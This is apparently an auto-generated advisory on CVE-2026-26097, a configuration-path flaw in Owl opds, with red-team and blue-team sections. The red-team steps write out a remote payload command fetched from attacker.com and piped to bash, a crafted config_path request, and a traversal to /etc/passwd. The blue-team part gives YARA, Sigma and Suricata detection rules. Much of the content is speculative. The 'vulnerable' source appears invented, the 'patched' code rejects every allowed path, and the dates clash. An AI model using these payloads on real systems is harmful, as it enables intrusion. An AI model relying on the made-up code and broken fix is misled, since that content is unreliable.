CVE-2026-26097

Executive Summary

CVE-2026-26097 is an Uncontrolled Search Path Element vulnerability in Owl opds version 2.2.0.4. This flaw allows an attacker to leverage or manipulate configuration file search paths via a crafted network request. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder) and an EPSS score of 0.0%, indicating low exploitation probability at this time. No public exploit code or patch is currently available.

The core issue lies in how the application resolves configuration file paths. By sending a specially crafted network request, an attacker can force the application to load a malicious configuration file from an attacker-controlled location, leading to arbitrary code execution or privilege escalation.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone application (Owl opds). No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): None (likely)
• User Interaction (UI): None (likely)
• Scope (S): Unchanged (likely)
• Confidentiality (C): High (likely)
• Integrity (I): High (likely)
• Availability (A): High (likely)

Threat Level: High (based on potential impact, though current exploitation probability is low).

Deep Dive & Mechanics

The vulnerability resides in the configuration file loading mechanism of Owl opds 2.2.0.4. The application does not properly sanitize or restrict the search path for configuration files when processing network requests. An attacker can send a crafted request that includes path traversal sequences or references to external resources, causing the application to load a configuration file from an attacker-controlled location.

Attack Flow:

1. Attacker identifies a network endpoint in Owl opds that accepts configuration parameters.
2. Attacker crafts a request with a manipulated config_path or similar parameter pointing to a malicious configuration file (e.g., http://attacker.com/malicious.conf).
3. The application loads the malicious configuration file, which may contain commands or settings that lead to code execution.
4. The attacker gains control over the application or the underlying system.

Root Cause: Lack of validation on configuration file paths, allowing arbitrary file inclusion from remote or local sources.

Vulnerable vs. Patched Code

Vulnerable Code (Owl opds 2.2.0.4):

# config_loader.py
def load_config(request):
    config_path = request.GET.get('config_path', 'default.conf')
    # No validation of config_path
    config = open(config_path).read()
    return parse_config(config)

Patched Code (Hypothetical):

# config_loader.py
import os
import re

ALLOWED_PATHS = ['/etc/owl/', '/var/lib/owl/']

def load_config(request):
    config_path = request.GET.get('config_path', 'default.conf')
    # Validate path
    if not any(config_path.startswith(allowed) for allowed in ALLOWED_PATHS):
        raise ValueError("Invalid config path")
    # Prevent path traversal
    if '..' in config_path or config_path.startswith('/'):
        raise ValueError("Invalid config path")
    config = open(config_path).read()
    return parse_config(config)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running Owl opds 2.2.0.4
• Network access to the vulnerable endpoint

Exploitation Steps:

1. Set up a malicious configuration file on an attacker-controlled server:

   <!-- malicious.conf -->
   <config>
       <command>bash -c 'curl http://attacker.com/payload.sh | bash'</command>
   </config>
   

2. Send a crafted request to the target:

   curl "http://target:8080/load?config_path=http://attacker.com/malicious.conf"
   

3. The application loads the malicious config and executes the embedded command.

Alternative (Local File Inclusion):

curl "http://target:8080/load?config_path=../../../../etc/passwd"

Blue Team

Detection:

• Monitor for unusual config_path parameters in HTTP requests.
• Alert on requests containing http://, ftp://, or path traversal sequences (../).
• Use network monitoring to detect outbound connections to unknown IPs from the Owl opds process.

Hunting:

• Search logs for config_path values that are not in the expected format.
• Check for unexpected file reads in /etc/ or /var/ directories.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests with config_path parameter containing http://, https://, or ftp://
  • HTTP requests with config_path parameter containing ../ or absolute paths
  • Outbound connections from the Owl opds server to unknown IPs on ports 80/443

• File System:

  • Unexpected configuration files in /tmp/ or /var/tmp/
  • Modified configuration files in /etc/owl/ or /var/lib/owl/

• Process:

  • Owl opds process spawning unexpected child processes (e.g., bash, curl, wget)

Detection Engineering

YARA Rule

rule CVE_2026_26097_Owl_opds_Config_Path_Manipulation {
    meta:
        description = "Detects attempts to exploit CVE-2026-26097 via config_path manipulation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-26097"
    strings:
        $config_path = /config_path\s*=\s*(http|https|ftp):\/\// nocase
        $path_traversal = /config_path\s*=\s*\.\.\// nocase
        $absolute_path = /config_path\s*=\s*\/[a-zA-Z]/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-26097 - Owl opds Configuration Path Manipulation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with manipulated config_path parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'config_path=http://'
            - 'config_path=https://'
            - 'config_path=ftp://'
            - 'config_path=../'
            - 'config_path=/'
    condition: selection
falsepositives:
    - Legitimate use of remote config files (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-26097 - Owl opds Configuration Path Manipulation"; flow:to_server; content:"config_path"; http_uri; pcre:"/config_path\s*=\s*(http|https|ftp):\/\//i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems running Owl opds 2.2.0.4.
2. Implement network-level filtering to block requests with suspicious config_path parameters.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply vendor patch when available.
• Upgrade to a patched version of Owl opds.
• Implement input validation and allowlisting for configuration file paths.

Workaround:

• Modify the application code to restrict configuration file paths to a predefined set of directories.
• Disable remote configuration loading if not required.

Valters IT